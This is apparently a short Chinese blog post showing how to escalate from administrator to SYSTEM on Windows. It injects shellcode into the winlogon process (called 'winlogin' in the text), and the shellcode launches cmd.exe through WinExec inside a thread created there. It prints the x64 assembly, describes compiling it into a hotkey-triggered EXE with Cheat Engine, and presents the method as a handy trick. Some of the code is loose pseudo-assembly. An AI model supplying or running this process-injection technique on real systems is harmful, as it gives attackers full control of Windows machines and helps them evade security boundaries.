windows简单注入winlogin提权到System

简述

        在windows系统中大多数用户能获得的administrator用户的管理员权限即为最高了，但这并非最高权限。而如果能提升权限至system，那岂不是美滋滋。而本文即公布一种十分简洁方便的办法提升权限。

方法

        有各种方法，很多都是复制token什么的。其实还有个办法，十分简单。直接使用system进程启动的子进程也会继承父进程的权限。但绝大多数system进程都无法在r3显示。但唯独有一个进程可以，那就是winlogin进程。而且该进程也能在r3打开。因此我们可以对winlogin注入一段shellcode来启动一个子进程。

代码

code:
push rdi
sub rsp,20
mov rdx,5
mov rcx,xxx
call KERNEL32.WinExec
add Rsp,20
pop rdi
ret




xxx:
db 'c:\windows\system32\cmd.exe'
createthread(code)

实现例子

        本文中我使用cheat engine 来编写shellcode实现。

         并且可以直接生成EXE调用改脚本，蛮方便。

效果

        我将脚本生成exe，设F2为激活快键，下图为效果。